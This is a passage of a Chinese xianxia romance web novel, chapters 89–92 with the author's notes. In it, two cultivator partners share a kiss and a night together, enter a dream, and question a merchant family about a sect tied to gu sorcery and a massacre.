但没一会儿唇瓣也被燕黎舟暖热。 舌尖扫过, 带来一阵细密的战栗。 燕黎舟腿软得几乎坐不住, 整个人像是被抽走了骨头,只能依靠着洛不觉支撑。 洛不觉手上用力,将燕黎舟往自己身上压, 显得对方像是那个登徒子,他才是被欺负的。 呼吸彻底乱了套,交织在一起,分不清是谁的更急促。 空气中只剩下暧昧的水声和燕黎舟偶尔泄出的鼻音。 不知过了多久, 在燕黎舟觉得自己快要窒息时, 洛不觉才稍稍退开。 燕黎舟眼神迷蒙, 唇瓣被蹂躏得殷红湿润,微微肿起,上面甚至还泛着暧昧的水光。 他张着嘴小口喘气,胸膛起伏, 一时竟说不出话来。 洛不觉深色的眼眸幽暗,他凝视着燕黎舟失神的模样,手指轻轻摩蹭着手下发烫的皮肤。 “今晚,我们睡在一起, 好吗?” 燕黎舟脑子浑浑噩噩的,刚想顺着话要点头,忽然反应过来这人说了什么,从洛不觉身上站起来。 “不行!” “为什么?”洛不觉轻轻歪头。 “我们是道侣,这都是我们应该做的,必不可少的。” 燕黎舟用手背用力擦了一下嘴唇,泛起一阵不该的麻意。 “谁,谁跟你说好了!道侣……道侣也不一定就要睡在一起!” 洛不觉看着他泛着水光的唇被擦得更红,眼神暗了暗,语气却依旧平静:“他们的道侣都一起睡。” “他们是他们的,我是你的。” “这能一样吗。” 洛不觉乖乖坐好:“不一样。” 燕黎舟:“所以能一起睡吗!” 洛不觉:“可以。” “你不是很喜欢我吗?我如你的愿你不开心吗?” 洛不觉稍作停顿,又缓声补了一句:“只是睡觉。” “不是喜欢就能在一起睡觉!” 燕黎舟脱口而出,想起刚才那个吻,联系一下洛不觉的话,脸更红了。 “你不睡觉难不成还想干嘛!” 洛不觉:“……” “干吗?” 燕黎舟总觉得这话被洛不觉说的不对味,感觉不只是他说的那个意思。 他支支吾吾了半天,话在嘴里滚了几圈,怎么也说不出口。 “我……我睡相不好!怕踹着你!” “无妨。” 洛不觉:“我睡相好。” 燕黎舟噎住,眼看说不过,索性开始耍无赖。 跟这块冰块讲道理,他根本毫无胜算。打又打不过,说也说不过。 不过一百年而已,性格能差那么大吗? 燕黎舟憋了半天:“我出去了,透气!” 他说完转身离开,回到自己房间,在他关上门的瞬间,表情就变了。 燕黎舟转身,身后房间内站着一个捂得浑身严实的人。 燕黎舟也没啥表情,坐到桌边给自己倒了杯茶,一饮而尽。 苦涩的茶水稍稍压下了喉间因为刚刚亲密后残留的燥热,放下茶杯后,燕黎舟的声音已经听不出任何情绪了。 “南疆的事你查到什么了?” 黑金微微低头。 “您消息传给我的时候我就去查了。” “南疆与我们接触的不多,最近知道的事情也只有很就之前,最近几年南疆才刚刚又盛兴起来。” “木府也确实有桩南疆来的货物。” 燕黎舟微微抬了抬眼皮:“具体查出来是什么了吗?” 黑金:“蛊虫。” “据之前查到的,与运输蛊虫有关系的事情在一百多年前的那件事情。” 燕黎舟顿了一下,这事他当然知道。 “除此之外没有别的了吗?” 燕黎舟手里转着茶杯,黑金有又突然想到什么。 “对了,手底下查到与南疆有关的还有一个宗门。” “倒影浮屠。” 听到这个名字,燕黎舟有些惊讶。 “这不是个和尚家宗门寺吗?怎么和南疆扯上关系了,而且倒影浮屠很久之前就被灭门了吧。” 黑金点头。 “倒影浮屠宗主之前在白洞天长大,因为一个女人还俗,那女人就是南疆来的。” “也因此被白洞天除名,倒影浮屠是在之后创立出来。” “一百多年前,倒影浮屠和木府一样也是因为一场大火被烧了个干净,直到前不久,才重新振作起来。” 燕黎舟沉默片刻:“去查查当年倒影浮屠具体发生了什么。” “那批南疆货后面的人是谁,给我一条条理清楚。” “木府的人死亡既然与蛇妖有关,能悄无声息灭掉整个木府,想必那蛇妖修为不低,这等大妖潜入风京,不可能全无痕迹。” “风京城内,乃至周边,所有与蛇妖有关的踪迹都不要放过。” 黑金:“是。” 说完,这人直接从房间内消失,只留下燕黎舟一个人。 周围静悄悄的。 燕黎舟放下手里的茶杯:“嘻嘻。” 神识深处,一团灰色雾气动了动。 嘻嘻揉了揉眼睛:“干嘛,好困。” 燕黎舟问:“你对倒影浮屠了解什么?” “额……” 嘻嘻眨了眨困懵的眼睛,围绕着燕黎舟绕了一圈。 “和尚庙呗,有啥好说的,全男宗,一个女的都没有,那次我过去,全是大老爷们。” 燕黎舟顿了一下,歪头:“没有女人吗?” 嘻嘻摇了摇脑袋。 “没有啊,一群糙老爷们。” “……” 燕黎舟不正经的八卦心起来了,主要是因为查案。 “不是说倒影浮屠的宗主,娶了个老婆吗?” 后来是发生什么事情了吗? “额,这我不知道啊,我一个妖怪,当时也就逛了一下就赶紧走了。” 说着,嘻嘻忽的朝燕黎舟又靠了靠。 “刚刚我就想问了,你身上怎么一股灵气?” “洛仙尊的气息,你俩又遇见了?” “……”燕黎舟不说话。 嘻嘻追问:“还有你这脸怎么回事?毁容了?” 燕黎舟挥了挥手直接将嘻嘻雾气的身体挥散开。 “啧,话多。” 嘻嘻不明所以,重新凝聚后又趴在燕黎舟头顶,舒服的伸了个腰。 它一只手撑着下巴,低头看燕黎舟:“你想知道啥直接问洛仙尊呗,他同为四大宗之一。” “天上白云京和倒影浮屠,四大宗里一个实力综合最强的,一个综合成长速度最快的,怎么也比我一个妖怪要知道的多。” 燕黎舟顿了一下,他不知道吗?他难道不知道洛不觉知道的不比嘻嘻知道的多啊。 “啧。” 趴在燕黎舟脑袋顶上的嘻嘻用力睁开眼睛,看向燕黎舟,又咋的了。 燕黎舟:“你今晚入侵一下他的梦。” “哦。” 说完的瞬间,嘻嘻的眼睛唰的睁开低头整个身子倒挂在燕黎舟面前。 “谁的?” “洛不觉。” 嘻嘻大惊,控制不住自己从燕黎舟脑袋顶上滑下去,然后就被这人又提溜起来。 “没事的。” “有事,事大了!” 嘻嘻炸毛:“洛不觉,我入侵他的梦?活着的时候才影响到了一次,还没咋滴呢就被捉到了。” “我现在都死了,你觉得可能成功吗?” “……废物。” 嘻嘻:“???……%#¥&±×!” 晚。 嘻嘻还是经不住激。 一人一雾,悄咪咪的进到洛不觉的房间。 燕黎舟环视了一下四周,压低声音:“没问题吧。” 嘻嘻心虚,眼睛左撇又飘,咕噜噜的发出不明声音,就是不说话。 对手指戳戳戳:反正洛仙尊看不着他,最后被发现的也只会是燕黎舟一个人啦。 燕黎舟不知道嘻嘻暗戳戳打的心思,屏住呼吸,一门心思在洛不觉身上。 洛不觉静静躺在床榻上,呼吸平稳绵长。 燕黎舟伸手在洛不觉面前晃了晃,见没有反应,这才松了口气。 “快,动手。” 燕黎舟用气音催促扒在他肩头的嘻嘻。 嘻嘻咕噜了一声,不情不愿冒出灰色雾气,小心翼翼的包裹住洛不觉和燕黎舟。 眼前一花。 再睁眼是一片望不到边际的花林,此时正值花期,微风拂过,花瓣簌簌飘落。 在地上铺了厚厚一层。 燕黎舟走在花路上,往前走了几步。 “这里是洛不觉的梦?他人呢?” 嘻嘻也奇怪四处张罗:“我不知道啊,我又没见过。” 下一秒,眼前的梦境倏地变化。 毫无预兆地,花树开始凋零,头顶的天空被灰云蒙住,顷刻间落下零碎大雪,脚下的花路变成雪路。 生机勃勃的梦境几个呼吸间就变成了样子。 寒风呼啸,卷起漫天的雪沫。 而在这冷凄的冰雪世界中。 洛不觉安静地躺在雪地上,双目紧闭,面容苍白得毫无血色。 原本这人就爱穿什么白衣,此刻隐身其中,毫不突兀。 洛不觉双手交叠置于身前,姿态安详得近乎诡异。 雪花缓慢落在他身上,化不开。 一片白色,然而在他心脏的位置,积雪被拱开,一棵嫩绿色的小草,迎着风轻轻摇摆叶子。 燕黎舟呼吸都停了一下,忘了这是在梦境,几乎是看见的瞬间冲了过去。 “喂!洛不觉?”他声音干涩,张口像是吞了一大把雪。 “你……” 他话未说完,周围的一切又再次剧烈震荡起来,周围的冰雪景象开始变得模糊。 最终碎掉。 “不行了!撑不住了!要被发现了!”嘻嘻道,灰色的雾气瞬间收回! 燕黎舟眼前一黑,再睁眼时他回到了洛不觉的房间内。 他这才发现自己竟不知何时跌坐在地,脸上一片冰凉的湿意。 而梦境的主人,正坐在床沿,微微倾身看着坐在地上的燕黎舟。 洛不觉伸手,将泪流满面的燕黎舟抱上床,指尖擦去燕黎舟脸上的眼泪。 “不哭。” “没事。” “只是噩梦,别怕。”—— 作者有话说:终于亲了!!!!!!! 普天同庆 哈哈哈哈,如果你剥开我的存稿箱,你就会发现—— 我真的写了好多么么么[爱心眼] 不过不能放出来,我只能自己乐呵一下 (我真的很想写一部纯感情亲密文的,开始就亲亲,一直亲一直亲,最近结尾还在亲! 还没取名的主角:妈妈,嘴会麻掉的!) 嘻嘻! 真的好手痒,灵感都在“新文灵感”里待了不知道多长时间了,最近最痒的作品之二 (但是开文要交大纲,编辑不给过的吧……文案估计也不大行,因为确实有点炸裂……) 第90章 燕黎舟张了张嘴, 喉咙像是被什么东西堵住,发不出声音。 他想问洛不觉,可话在舌尖滚了又滚, 最终也只是低下头。 “我, 我来看你睡没睡死。” 燕黎舟说完有些不自在地想从洛不觉怀里退开, 却被对方揽住了腰, 直接将人整个抱到床上, 脱下鞋子。 洛不觉看着他,语气自然:“睡觉。” 燕黎舟瞬间警铃大作:“等等!我……” “地上凉。”洛不觉打断他, 目光扫过他刚才坐的地方, 理由充分。 “我回去睡。”燕黎舟道。 可他说完这句话,洛不觉就像是聋了一样。 洛不觉置若罔闻,不仅没松手, 反而就着揽住他腰的姿势,手臂稍稍用力,将燕黎舟更稳地固定在床榻内侧,自己也随之侧身躺下, 面向着他。 “洛不觉!你聋了?” 燕黎舟压低声音, 伸手去推洛不觉胸膛。 洛不觉任由他推搡, 抱着人纹丝不动,只淡淡道:“嗯,听不见。” 理直气壮。 两人距离极近,在黑暗中几乎能感受到对方呼出的气息。 燕黎舟被困在洛不觉的身体和墙壁之间, 鼻尖全是对方身上熟悉的檀香。 他僵硬地躺着,试图往后缩,却只是贴上了墙壁。 “你……你过去点,挤死了!”燕黎舟道。 洛不觉反而又靠近了半分, 膝盖不经意地抵住了他的腿侧,温热的体温更烫。 “游公子。” 洛不觉忽然开口,低沉的声音在寂静中格外清晰,带着点莫名的沙哑。 “你心跳声很大。” 燕黎舟心头一跳,嘴硬道:“放屁!那是你的心跳!” 燕黎舟说完,就感觉道一只手却突然轻轻覆上了他的心口。 掌心温热,隔着衣物,他清晰地感受到自己的心脏正在失控一样跳动。 咚咚咚,快得像是要撞出胸腔去迎合那只手的掌心。 燕黎舟浑身一僵,呼吸都停了。 洛不觉的指尖甚至无意识地在那剧烈跳动的位置轻轻按了按,然后伸手,拉着燕黎舟的手,轻轻贴近自己的身体。 “嗯,是我的。”洛不觉承认。 “你……你把手拿开!” 燕黎舟感受到手下不亚于他的跳动,声音发颤,想去掰洛不觉的手,却发现自己手腕软绵绵的使不上力。 洛不觉非但没拿开,反而得寸进尺般,低下头,额头轻轻抵住了燕黎舟的额头。 两人鼻尖几乎相碰,呼吸彻底交融在一起。 洛不觉伸手拍了拍燕黎舟僵硬的后背。 “游子安。” 洛不觉唤着燕黎舟此刻的名字,声音压得更低:“你在怕什么?” “我……我没怕!” 燕黎舟强撑着,眼神却慌乱地闪躲,不敢与他对视。 他能感觉到洛不觉的唇离自己极近,温热的气息拂过他的唇瓣,带来一阵细微的麻痒。 响起白天时候,燕黎舟喉结忍不住上下滚动着。 “是吗?” 洛不觉的手顺着燕黎舟脊背缓缓下滑,最终停在后腰。 手上突然用力,将怀里的人更紧地按向自己。 燕黎舟忍不住发出一声短促的惊呼,整个人几乎完全嵌入了洛不觉的怀抱。 他瞬间僵成了木头,脑子里的弦“啪”一声断了,脸颊红得能滴出血来。 “你……你……” 燕黎舟“你”了半天,却一个字也说不出来。 洛不觉没有再进一步的动作,只是维持着这个紧密相拥的姿势,低声道。 “睡觉吧。” 说是这么说,可他箍在燕黎舟后腰的手臂却没有丝毫放松,反而收得更紧,让两人之间的缝隙彻底消失。 燕黎舟被他紧紧按在怀里,脸颊贴着对方温热的颈窝,洛不觉身上好闻的味道无孔不入地包围着他。 燕黎舟控制不住的脸红。 “洛不觉,你……” 燕黎舟的声音闷在对方颈间,带着细微的颤抖和一丝自己都没察觉到的撒娇意味。 他想挣脱,身体却好似卸去了所有力气,软得一塌糊涂。 洛不觉没有回答,只是喉间发出一声极轻的叹息。 他搭在燕黎舟后腰的手,开始无意识地上下摩挲着,掌心隔着薄薄的寝衣,传递着烫人的温度。 燕黎舟整个腰都麻了。 “洛不觉……” 他忍不住又唤了一声,尾音带着难耐的喘息。 这次,洛不觉终于有了回应。 他微微偏过头,温热的唇瓣不经意地擦过燕黎舟敏感的耳朵。 “嗯?” 一个单音节的询问,气息灼热地灌入耳中。 燕黎舟浑身猛地一颤,像是过电一般,从耳根到脖颈瞬间红透。 他下意识地缩了缩脖子,这个细微的动作却使得他的唇无意间蹭过了洛不觉的锁骨。 两人同时僵住。 黑暗中,彼此的呼吸声清晰可闻。 交织在一起,变得越来越重,越来越烫。 洛不觉摩挲着他后腰的手停了下来,转而捧住了他的脸颊,指尖微微用力,让他抬起头。 借着窗外透进的朦胧月光,洛不觉深不见底的眼眸紧紧锁住他,几乎要将他彻底吞噬。 燕黎舟心跳漏了一拍,怔怔地看着他,忘记了挣扎,也忘记了言语。 洛不觉的视线在那片柔软上流连片刻,然后缓缓上移,再次对上燕黎舟迷蒙的双眼。 他没有动作,只是这样近在咫尺地看着他,感受着彼此灼热的呼吸交织,享受着这悬而未决的折磨。 燕黎舟被他看得心尖发颤,他下意识地舔了舔有些发干的嘴唇,然后猛的低头。 额头贴着洛不觉的锁骨,声音很闷。 “睡觉!”燕黎舟有些气恼。 他头也不抬,底下伸出来一只手捂住洛不觉的嘴巴。 “不许亲!” “明天呢?” “明天也……” “我们是道侣。” “……明天再说吧。” 燕黎舟的手上移了一个位置,变成捂住洛不觉的眼睛。 “睡觉!” 翌日清晨。 燕黎舟迷迷糊糊地动了动,立刻感觉到横在自己腰间的手臂收得更紧了些。 手伸直绕过衣服,干干净净贴在他皮肤上。 记忆回笼,昨夜所有脸红心跳的画面瞬间涌上脑海。 燕黎舟伸手直接去抓洛不觉不老实的手,使劲地想要将那箍在自己腰上的手臂挪开。 丝毫不顾及会不会把对方弄醒。 “热死了,洛不觉!” 他道,昨晚睡得太晚,现在困得迷迷瞪瞪的,眼睛都没睁开就喊。 头顶传来声音。 洛不觉:“醒了。” “松手,热死了!” 洛不觉没动,手臂依旧稳稳地圈着他,目光落在燕黎舟泛红的耳朵上,停留片刻,这才不紧不慢地收回手。 束缚解除,燕黎舟立刻像只挣脱牢笼的猫,滚到床榻里侧,扯过薄被胡乱盖在身上。 只留下一个毛茸茸的后脑勺对着洛不觉。 燕黎舟声音还带着没睡醒的沙哑和浓浓的抱怨:“热死了……” 他闭着眼,试图抓住消散的睡意,不准备理洛不觉。 洛不觉坐起身,垂眸看着那个背对着自己蜷缩成一团的家伙。 视线扫过对方因动作而微微敞开的寝衣领口,露出一小截白皙的后脖颈。 他没有说话,只是静默地看了片刻,然后起身下床。 燕黎舟竖着耳朵听身后的动静,感觉到那人离开,心里莫名空了一下,随即又暗骂自己没出息。 他强迫自己闭紧眼睛,嘟嘟囔囔。 然而,没过多久,熟悉的脚步声去而复返。 燕黎舟猛地睁开眼,扭头看去,只见洛不觉去而复返,手里端着一杯水,正站在床边。 “喝水。” 洛不觉将茶杯递到他面前,语气依旧平淡,听不出什么情绪。 燕黎舟愣愣地接过杯子,指尖碰到对方微凉的指尖,心里那点刚压下去的异样感又冒了出来。 他低头看着洛不觉递过来的水,没动。 倒也不是怕他下毒。 洛不觉补充道:“对身体有益。” 燕黎舟:这他当然知道!但突然这么体贴干嘛? 搞得好像他俩睡了一样! 燕黎舟狐疑地抬眼看了看洛不觉,对方依旧是那张没什么表情的俊脸。 他犹豫了一下,还是就着对方的手,低头小口喝了起来。 水温正好,不冷不烫,顺着喉咙滑下,确实缓解了晨起的干渴。 喝了几口,燕黎舟停下,把杯子推回去。 “够了。” 他清了清嗓子,想到正事,转头看床边站着的人。 “洛不觉,你知不知道倒影浮屠的事?” 他边说边观察洛不觉的神色,仿佛对方只要问句“怎么问这个”他就会接一句“问着玩的”。 洛不觉将茶杯放在旁边:“知道,你想知道什么?” “啊,额……” 燕黎舟想了一下昨天黑金和嘻嘻说的。 “那个倒影浮屠的宗主娶了个老婆是吗?听说是南疆来的?” 洛不觉点头:“倒影浮屠的宗主是位还俗了的和尚,法号了尘。” “他当年的道侣,并非寻常南疆女子,是一位叛出部落的圣女,擅蛊,更擅操纵人心与记忆。” 燕黎舟蹙了下眉:“但为什么……有人说这倒影浮屠一个女人都没有?” 洛不觉:“那位南疆圣女,在诞下子嗣时,因旧伤复发兼之耗力过度,未能撑过去,香消玉殒。” 燕黎舟眉头蹙得更紧,下意识追问:“孩子呢?” “孩子活了下来,交由宗内弟子抚养。” 洛不觉顿了顿,才继续道:“了尘因此事,深受打击。他认为,若非情爱牵绊,道心蒙尘,其道侣或许不会因孕育子嗣而损耗至此,最终离世。” “所以?” 燕黎舟似乎明白了什么,语气带着一丝难以置信。 “他就因此……禁止所有女子入宗?” “是。” 洛不觉肯定了他的猜测。 “于是他立下严规,倒影浮屠只收男弟子,严禁门下弟子与女子产生情愫,更不得结为道侣。他言道,需斩断红尘俗念,方能专心问道,不至重蹈他的覆辙。” 燕黎舟听完,一时沉默。 他能理解了尘的悲痛,却也觉得这规矩立得未免太过偏激。 就因为自己失去了所爱,便要让整个宗门都断绝情爱之念—— 作者有话说:这章是我写过最顺,也是最不顺的一章。 它不像这几天我琢磨剧情怎么发展导致我看着码字页面半天写不出来一个字那样,而是我歘歘歘写完后,写爽了,写嗨了,回过头一看——删删删。 最后一看字数一千五…… 90-100 第91章 燕黎舟:“那他门下那些弟子, 就都甘心当一辈子和尚?” “规矩既立,自有其约束之力。” 洛不觉淡淡道:“何况,倒影浮屠的功法经他修改后, 也确实偏向清心寡欲一路。门下弟子多为苦修之士, 对此并无太多异议。” 他扭头看向燕黎舟:“为何突然对倒影浮屠旧事如此感兴趣?” 燕黎舟心里一紧, 面上却立刻挂起那副混不吝的笑容, 打了个哈哈。 “好奇嘛!听听高门秘辛, 就当解闷儿了。” 他掀开被子,动作利落地跳下床, 伸了个懒腰, 寝衣因他的动作滑落,露出一段白皙的肩颈。 燕黎舟却没察觉:“再说了,咱们现在不是查案吗?” “多了解点陈年旧事, 说不定就能找到线索呢?” 他边说边走到屏风后开始换衣服,声音隔着屏风传来。 “你说,木家这事,会不会跟这倒了霉的和尚庙有点关系?比如他们当年那位圣女留下的什么蛊啊、术啊的?” 洛不觉的目光落在屏风上, 隐约能看见后面那人动作的身影。 那扇绘着山水画的屏风此刻隔开了两人, 却又因为后面晃动的人影, 透出一种欲说还休的暧昧。 洛不觉的视线,不由自主地追随着那抹晃动的剪影。 他想起方才燕黎舟露出的那一段肩颈。 肤色白皙,线条流畅,回想起昨天, 洛不觉下意识搓了搓指尖。 “倒影浮屠重建不久,势力远不及当年。与木府灭门案是否直接相关,尚需证据。” 屏风后,燕黎舟系衣带的动作慢了下来, 眼神微沉。 那位南疆圣女,以及蛊虫的这些手段,与木府有关联的那批南疆货,总觉得隐隐透着某种说不清道不明的关联。 至于那个蛇妖,燕黎舟觉得灭门的方式和原因,他肯定选原因。 他换好衣服,从屏风后转出来,又是一副风流倜傥的富家公子模样。 “管他呢,查查不就知道了?” 燕黎舟走到洛不觉身边,用胳膊肘轻轻碰了碰对方。 洛不觉垂眸看了一眼他碰过来的地方,没有躲开,“嗯”了一声。 两人一前一后走出客房。 燕黎舟还在琢磨着倒影浮屠与木府的关联,没留神前面洛不觉忽然停步,他险些一头撞上。 “哎哟!” 燕黎舟捂着鼻子抱怨:“走得好好的停什么……” 他话没说完,就见洛不觉微微侧身,手臂极其自然地环过他的腰侧,将他往自己身边轻轻一带。 动作快得只在一瞬,随即松开,仿佛只是顺手扶了他一把。 “看路。” 洛不觉目视前方,语气平淡无波,脚下步伐未停。 燕黎舟却被一举动弄得一愣,他低眸看了眼洛不觉冷硬的侧脸,又低头看了看自己的腰。 这人,绝对是故意的! 他故意用肩膀撞了洛不觉一下,压低声音。 “光天化日,拉拉扯扯,成何体统!” 燕黎舟故意把昨日薛三钱的调侃拿出来重复,此刻由他说出来,却带着点别的味道。 洛不觉脚步未停,甚至连眼神都没偏一下,只淡淡回道:“防止你撞到东西,要赔钱。” 燕黎舟一噎,瞪着他:“我差那点钱?” “嗯。” 洛不觉从善如流地应道:“你的就是我的。所以,得省着点。” 燕黎舟:“……” 他憋着口气,闷头往前走。 两人来到客栈一楼用早饭。 薛三钱和黑金不知道在哪,一楼大堂颇为清静。 燕黎舟大剌剌地坐下,抬手就点了一堆精致早点。 有钱! 店小二自从知道了洛不觉是那个洛不觉后,做事都变得十分有劲,点完菜后就殷勤的下去准备了。 燕黎舟拿起筷子,在指尖灵活地转了一圈,看向对面正襟危坐,连碗筷都摆得一丝不苟的洛不觉。 眼珠一转,又起了逗弄的心思。 他夹起一块虾饺,并未送入自己口中,而是递到了洛不觉唇边,脸上挂着笑。 燕黎舟拖长了语调:“亲爱的,啊——尝尝这个,听说可是这儿的招牌,最好吃了。” 洛不觉还没来得及说什么,旁边上菜的小二十分没有眼力见道。 “哎!仙长,话可不能这么说!” 他咔一下子把好几道菜推洛不觉面前。 “这些都是我们招牌菜,都很好吃,虾饺是最普通的一道罢了。” 店小二浑然不觉自己打断了什么,还在那热情洋溢地介绍。 “这道金丝燕窝羹是我们大厨的拿手,这道玉带虾仁用的是今早刚到的鲜虾,还有这道八宝葫芦鸭……” 小二嘿嘿两声:“这是我赠送的,仙长你尝尝。” 燕黎舟举着筷子的手僵在半空,递出去不是,收回来也不是。 脸上表情凝固,额角青筋跳了又跳。 这人要干嘛! 洛不觉抬眸,淡淡地扫了那殷勤的小二一眼,眼神平静,却让小二莫名感到一股寒意。 剩下的话卡在喉咙里,他讪讪地闭了嘴,赶紧放下菜品,溜之大吉。 碍事的人走了,气氛却一下子冷了下来。 燕黎舟悻悻地想把虾饺塞进自己嘴里,还没吃呢就感受到手腕被一只微凉的手轻轻按住。 他愕然抬头,只见洛不觉不知何时已拿起了他自己的筷子,夹起一块虾饺。 然后,在燕黎舟的注视下,稳稳地递到了他的唇边。 动作自然,行云流水,仿佛天经地义。 洛不觉的表情依旧没什么变化,只是眸色深沉地看着他,薄唇微启,模仿着燕黎舟刚才的语调。 “亲爱的。” 燕黎舟脑子“嗡”的一声,他看着近在咫尺的虾饺,又看看洛不觉依旧没什么表情的俊脸。 “你……” 燕黎舟又羞又恼,想偏头躲开。 他自己说还没有什么感觉,可这三个字从洛不觉嘴里滚了一圈总觉得是上了什么钩子。 “不吃吗?” 洛不觉眉梢微挑,语气里听不出什么情绪。 但燕黎舟就是莫名觉得他在……调侃自己? “谁说不吃了!” 燕黎舟张嘴飞快地将那颗虾仁叼了过去,连筷子都没碰到,囫囵吞了下去,甚至没尝出什么味道。 “一般。”他哼唧两声道。 洛不觉将刚刚推到他面前的几盘子菜重新推回到燕黎舟面前。 燕黎舟红着耳尖,胡乱扒拉了几口别的菜,便放下筷子,声称“饱了”。 两人离开客栈,乘坐的马车。 车厢内,燕黎舟刻意靠着窗边坐,掀开车帘一角,假装看外面熙熙攘攘的街景,只留给洛不觉一个后脑勺和微微发红的耳尖。 洛不觉却没打算就这样沉默着。 “林家与木家关系匪浅。” “木家大夫人林氏,是林一天唯一的嫡亲妹妹,颇受宠爱。” 燕黎舟耳朵动了动,虽然没转头,但是注意力已经被吸引过来了。 马车最终在林府气派的朱漆大门前停下。 门楣高悬金字匾额,两侧石狮威严,几名护卫眼神锐利地扫视着来往行人,透着一股生人勿近的跋扈气息。 燕黎舟率先跳下马车,理了理衣袍。 他抬脚就要往台阶上迈,却被洛不觉拉了一下手腕。 “跟在我身后。”洛不觉低声道。 燕黎舟挑眉,话到嘴边又咽了回去,只哼了一声,算是默认。 守门的护卫看着洛不觉,也看出来这人实力不凡,态度还算客气。 “仙长找谁?” “林大人” 洛不觉言简意赅,并未多言。 护卫还想说什么,一位管家模样的中年人快步迎了上来,脸上堆着恰到好处的笑容,眼底却带着精明与警惕。 “洛仙尊!有失远迎。” “不知仙尊此次前来,所为何事?” 管家的目光在洛不觉身后的燕黎舟身上扫过,带着打量。 “木府灭门之事。” 洛不觉直接道明来意:“有些细节,需向林家主请教。” 管家面露难色:“这……家主近日因小姐之事悲痛过度,身体欠安,正在静养,实在不便见客。” “仙尊有何疑问,不妨由小人代为转达?” 燕黎舟在一旁听得嗤笑一声,声音不大不小,刚好能让在场几人听清。 “悲痛过度?我看是心里有鬼,不敢见人吧?” 管家脸色一变,看向燕黎舟的眼神带上了不悦。 “这位公子,请注意言辞!我林家岂是你能随意污蔑的?” “是不是污蔑,见了你们家主自然清楚。” 燕黎舟上前一步,与洛不觉并肩,下巴微抬,摆出嚣张姿态。 “还是说,木家上下几十口死得不明不白,你们林家就打算这么糊弄过去?” 他这话说得极不客气,声音也拔高了些,引得附近一些行人纷纷侧目。 管家脸色铁青,正要发作,洛不觉却适时开口,声音平淡,却带着一股无形的压力。 “木府灭门,非比寻常,林家作为姻亲,若执意阻拦探查,恐惹非议。还请通传。” 管家神色变幻,权衡片刻,最终还是咬牙道:“二位先进来吧。” 林府内部亭台楼阁,雕梁画栋,极尽奢华。 但空气中却弥漫着一种紧绷和压抑的气氛。 仆从们行色匆匆,见到生人更是低头快步走开。 管家将两人带到一个大厅。 “请二位在此稍候,容小人去禀报家主。” 说完管家就匆匆离去。 燕黎舟得意地朝洛不觉扬了扬眉毛。 洛不觉瞥了他一眼,并未言语。 没过多久,管家去而复返,脸色比刚才更加难看。 “家主请二位书房一叙。” 两人跟着管家穿过几重院落,来到一处房间。 推门而入,只见一位身着锦袍表情严肃的中年男子坐在主位之上。 正是林家家主林一天。 他周身气息沉凝,竟也有不弱的修为在身。 林一天并未起身,只是抬了抬眼皮,目光如鹰隼般扫过洛不觉和燕黎舟,最后定格在洛不觉身上,声音沙哑。 “洛仙尊,久仰。” 虽是这样说,但他的态度,可算不上友好—— 作者有话说:刚得到消息要期中考了,祝有考试的宝子全都过过过哈! 好紧脏,这个老师考试内容抽考[爆哭][爆哭][爆哭][爆哭],但愿我白天不要掉链子[爆哭] 第92章 燕黎舟心里冷笑一声, 面上挂起笑容。 不等洛不觉回话,便自顾自地拉开一张椅子坐下,翘起二郎腿, 仿佛他才是这里的主人。 “林家主, 客套话就免了吧。” 燕黎舟指尖在扶手上轻轻敲着, 语气懒洋洋的。 “咱们开门见山。木家的事儿, 您林家打算怎么着?是准备自己关起门来查呢, 还是需要我们这两位外人帮帮忙?” 他特意加重了“外人”二字,眼神戏谑地在林一天紧绷的脸上转了一圈。 林一天脸色一沉, 显然对燕黎舟的插话和态度极为不悦。 但他目光转向洛不觉时, 还是压下了火气,沉声道:“洛仙尊,木家惨案, 我林家同样悲痛。只是此乃家事,不劳仙尊费心” “仙尊若为查案而来,林某只能说,所知有限, 恐怕要让仙尊失望了。” “所知有限?” 洛不觉尚未开口, 燕黎舟便接过话头, 他身体微微前倾,脸上笑容不变。 “那我们换个方向问问,听说林家商路通达,不知道和南疆那边有没有来往?” 南疆二字一出, 林一天的眼神闪烁了一下,虽然瞬间就又恢复如常。 燕黎舟这时候给洛不觉使了个眼色,让他坐到自己身边,不用说话。 洛不觉照做, 并不觉得有什么问题,安静待在燕黎舟身边坐下。 “这位公子说笑了。” 林一天端起茶杯,借以掩饰瞬间的不自然。 “南疆路途遥远,瘴疠横行,我林家生意虽广,却也极少涉足。” “极少涉足,不代表没有,对吧?” 燕黎舟步步紧逼,指尖停止敲击,稳稳按在扶手上。 旁边洛不觉给燕黎舟倒了杯茶,后者自然接过手喝了一口。 燕黎舟借着茶水清了清嗓子。 “据我所知,就在木家出事前接手了一批从南疆来的特殊货物。” “林家主,可有什么头绪?” 林一天握着茶杯的手指微微收紧,他放下茶杯,发出清脆的磕碰声。 这次语气里有明显的不耐与怒意:“公子!我林家行商,货物往来数以千计,难道每一批都要向阁下报备不成?” “阁下如此咄咄逼人,究竟意欲何为!” “意欲何为?” 燕黎舟嗤笑一声,眼神彻底冷了下来。 “木家满门死得不明不白,尸体干瘪,精血魂魄尽失!而就在此前,刚好经手了一批南疆货!” “林家主,你和木府同样作为风京的商户大家,更何况木府的夫人还是你最疼爱的妹妹。” “你难道一点也不知情吗?” 燕黎舟起身,居高临下地看着林一天,洛不觉跟着起身,两人气势迫人。 燕黎舟:“那批南疆货你若不说清楚,今日我们走出这个门,下次再来的,恐怕就不止我们两人了!” “木府灭门,你们林家又能撑到什么时候?” “到时候,林家是否还能置身事外,可就难说了!” 洛不觉适时地上前一步,与燕黎舟并肩而立。 他没有说话,但周身散发出的灵压笼罩了整个书房,让林一天感到呼吸都有些困难。 在这双重压力下,林一天的脸色由青转白,额头都渗出来冷汗。 他嘴唇哆嗦着,眼神挣扎了许久,最终像是被抽空了力气,瘫坐在椅子上,颓然道。 “那……那批货……是木事蓝指定要的。” 木事蓝,就是木家的掌门人,也就是他的妹夫。 “我问过他,他只说是一些罕见的药材和……和一些南疆古老的巫蛊法器……说是要研究什么古籍上的方子……” 燕黎舟眉头轻轻蹙起,忽然想起什么。 “关于长生?” 他试探性地吐出这四个字。 林一天猛的抬头,眼中是无法掩饰的震惊:“你知道?” 燕黎舟不语。 林一天的表情彻底暗了下去,最后一丝侥幸也荡然无存,彻底没了隐瞒。 他颓然地靠进椅背:“是的。” “南疆蛊术向来是研究一些稀奇古怪的秘术,什么逆转生死、窥探长生乱七八糟的东西。” “木事蓝信誓旦旦,只要成功,木家便能永世昌盛。” “那批南疆货,就是用来布置阵的法器。” 燕黎舟与洛不觉对视一眼。 “那木家的人怎么死的?” 